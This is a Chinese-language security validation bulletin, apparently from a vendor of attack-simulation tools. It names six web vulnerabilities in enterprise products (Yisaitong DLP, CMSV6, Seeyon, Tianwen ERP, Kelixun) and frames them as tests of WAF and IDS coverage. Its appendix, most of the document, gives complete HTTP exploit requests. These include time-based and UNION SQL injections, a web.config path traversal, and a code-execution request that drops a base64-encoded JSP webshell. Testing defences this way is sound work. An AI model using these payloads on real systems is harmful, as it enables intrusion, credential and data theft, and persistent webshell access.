安全验证简报-0722

今日更新验证情报：

验证类型	具体名称	验证建议
WEB 漏洞利用	1. 通天星 CMSV6 车载定位监控平台 disable SQL 注入漏洞 2. 亿赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL 注入漏洞 3. 致远在野 nday constDef 接口存在代码执行漏洞 4. 亿赛通电子文档安全管理系统 NoticeAjax 接口存在 SQL 注入漏洞 5. 天问物业 ERP 系统 AreaAvatarDownLoad.aspx 任意文件读取漏洞 6. 福建科立讯通信 指挥调度管理平台 ajax_users.php SQL 注入漏洞	建议根据企业资产情况，验证边界侧 WAF/IPS/IDS/NTA 设备是否对这些漏洞利用具备拦截和检测能力。如果无法拦截或检测，请及时添加防护策略。

验证方式：

1. 可以参考**附录一**中的攻击请求报文，进行验证和修复。

2. 已部署知其安“离朱安全验证平台”的用户，可更新场景包直接进行验证。

3. 知其安“离朱安全验证云平台（SaaS 版）”已在第一时间更新验证用例，目前已开放限时免费试用申请，用户可以通过申请账户自行进行验证，也可联系我们技术人员协助进行远程验证。验证时需将验证源 IP 加白不封禁。

附录一 漏洞利用请求报文

1. 通天星 CMSV6 车载定位监控平台 disable SQL 注入漏洞

```
GET  /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FRO
M+%28SELECT%28SLEEP%285%29%29%29kOIi%29 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/75.0.3770.100 Safari/537.36
```

2. 亿赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL 注入漏洞

```
POST /CDGServer3/NetSecConfigAjax;Service HTTP/1.1
Host:
Cookie: JSESSIONID=99CEC1B294F4EEEA7AFC46D8D4741917; JSESSIONID=06DCD58EDC037F7
85605A29CD7425C66
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/124.0.0.0 Safari/537.36
Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

command=updateNetSec&state=123';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR D
ELAY '0:0:5'--
```

3. 致远在野 nday constDef 接口存在代码执行漏洞

```
GET  /seeyon/constDef.do?method=newConstDef&constKey=asdasd&constDefine=$demo%2
0%22;new%20File(%22../webapps/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder
().decode(%22PCUKaWYocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImYiKSE9bnVsbCkobmV3IGphd
mEuaW8uRmlsZU91dHB1dFN0cmVhbShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aCgiXFwiKStyZXF
1ZXN0LmdldFBhcmFtZXRlcigiZiIpKSkud3JpdGUocmVxdWVzdC5nZXRQYXJhbWV0ZXIoInQiKS5nZXRCeXRlcygpKTsKJT4=%22)));%22&constDescription=123&constType=4 HTTP/1.1
Host: {{Hostname}}
```

4. 亿赛通电子文档安全管理系统 NoticeAjax 接口存在 SQL 注入漏洞

```
POST /CDGServer3/NoticeAjax;Service HTTP/1.1
Host: ip:8443
Cookie: JSESSIONID=A7058CC5796E5F433F2CC668C7B7B77D; JSESSIONID=0E09F2450421C51339E5657425612536
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded

command=delNotice&noticeId=123';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
```

5. 天问物业 ERP 系统 AreaAvatarDownLoad.aspx 任意文件读取漏洞

```
GET /HM/M_Main/InformationManage/AreaAvatarDownLoad.aspx?AreaAvatar=../web.config HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

6. 福建科立讯通信 指挥调度管理平台 ajax_users.php SQL 注入漏洞

```
POST /app/ext/ajax_users.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Content-Type: application/x-www-form-urlencoded

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,user(),0x7e),NULL,NULL,NULL-- -
```